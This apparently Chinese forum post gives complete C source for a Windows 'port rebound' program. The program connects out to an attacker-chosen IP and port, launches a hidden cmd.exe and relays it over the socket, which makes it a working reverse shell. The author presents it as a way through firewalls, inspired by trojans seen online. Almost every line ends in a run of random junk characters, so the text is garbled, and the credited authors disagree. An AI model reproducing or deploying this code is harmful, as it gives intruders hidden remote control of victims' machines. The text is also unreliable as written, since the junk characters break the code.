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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 "[:iXRu  
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/* ============================== ^fz+41lE\  
Rebound port in Windows NT L],f3<  
By wind,2006/7 S(:l+JP  
===============================*/ :6q]F<oK  
#include .UoOO'1K  
#include ZIdA\_c  
fb  da  
#pragma comment(lib,"wsock32.lib") 1n\ t+F  
_e9:me5d"$  
void OutputShell(); ?JxbSK#  
SOCKET sClient; "`[!Lz  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ^9-&o  
e6_ZjrQf  
void main(int argc,char **argv) W[+|}  
{ ^T~gEv  
WSADATA stWsaData; CIVnCy z  
int nRet; 16SOIT  
SOCKADDR_IN stSaiClient,stSaiServer; /s];{m|>  
-R>}u'EG>  
if(argc != 3)  X\}Y  
{ 81*M= ?  
printf("Useage:\n\rRebound DestIP DestPort\n"); ~SvC[+t+U  
return; J9T3nTfL  
} %6--}bY^  
7Ol}EPf#  
WSAStartup(MAKEWORD(2,2),&stWsaData); H:H6b  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;L&TxO>#J  
jgS%1/&  
stSaiClient.sin_family = AF_INET; ]59i>  
stSaiClient.sin_port = htons(0); T;L>P[hNn  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); hm<}p&!J  
hXGwP4  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) /*Qq[C  
{ XlI!{qj|  
printf("Bind Socket Failed!\n"); OiDhJ  
return; 8>/Q1(q0  
} @E.k/G!~Nb  
1 y}2+Kk  
stSaiServer.sin_family = AF_INET; 2BCtJ`S`  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); l^J75$7  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); lnGq :-  
%P;Q|v6/|  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) *Ei|fe$sa  
{ 0q\7C[R_  
printf("Connect Error!"); _7DkS}NJs  
return; CQ;]J=|<_  
} A8A ~!2V  
OutputShell(); ;6 +}z~  
} .Wi{lt  
20rkKFk*  
void OutputShell() {G*A.$-d  
{ >u%]6_[  
char szBuff[1024]; PCnQ_A-Q  
SECURITY_ATTRIBUTES stSecurityAttributes; f.GETw  
OSVERSIONINFO stOsversionInfo; a{Esw`  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 3?E8\^N\n  
STARTUPINFO stStartupInfo; lt$zA%`odc  
char *szShell; V#ev-\k}@  
PROCESS_INFORMATION stProcessInformation; 7m#[!%D  
unsigned long lBytesRead; [Pe#kzLX  
$(Ugtimdv  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); W0jZOP5_.$  
7kKy\W  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); H&b3{yOa  
stSecurityAttributes.lpSecurityDescriptor = 0; )rLMIk  
stSecurityAttributes.bInheritHandle = TRUE; .yENM[-bQ  
G#Ou[*O'  
t?nX=i*~]  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); |lH;Fq{\  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); !QmzrX}h  
qW 1V85FG  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); :Sg_t Of  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p (FlR?= S  
stStartupInfo.wShowWindow = SW_HIDE; (wmBjQ]B<  
stStartupInfo.hStdInput = hReadPipe; wiX~D  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 9{j66  
,%bhyww<  
GetVersionEx(&stOsversionInfo); 9t@:4O  
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switch(stOsversionInfo.dwPlatformId) YGc^h(d  
{ ?t@v&s  
case 1: h;lirvO|  
szShell = "command.com"; W\f9jfD  
break; avp; *G }  
default: iA_8(Yo  
szShell = "cmd.exe"; ydv3owN  
break; 7nzGAz_W  
} Ut]+k+ 4  
*sQcg8{^  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); _B2V "p  
JFL>nH0mk.  
send(sClient,szMsg,77,0); Wl^R8w#Z$  
while(1) T2 ?HRx  
{ E99CmG|"  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ^5=UK7e5KY  
if(lBytesRead) sM1RU  
{ $V6^G*Q  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); *s}|Hy  
send(sClient,szBuff,lBytesRead,0); ea=83 Zj  
} Vv$HR  
else PZ8U6K'  
{ nRhrWS  
lBytesRead=recv(sClient,szBuff,1024,0); q ^rl)  
if(lBytesRead<=0) break; *5$&`&,  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); AgF5-tz6x  
} +)nT|w45  
} KRsAv^']  
I>h<b_y  
return; y?[snrK G  
}
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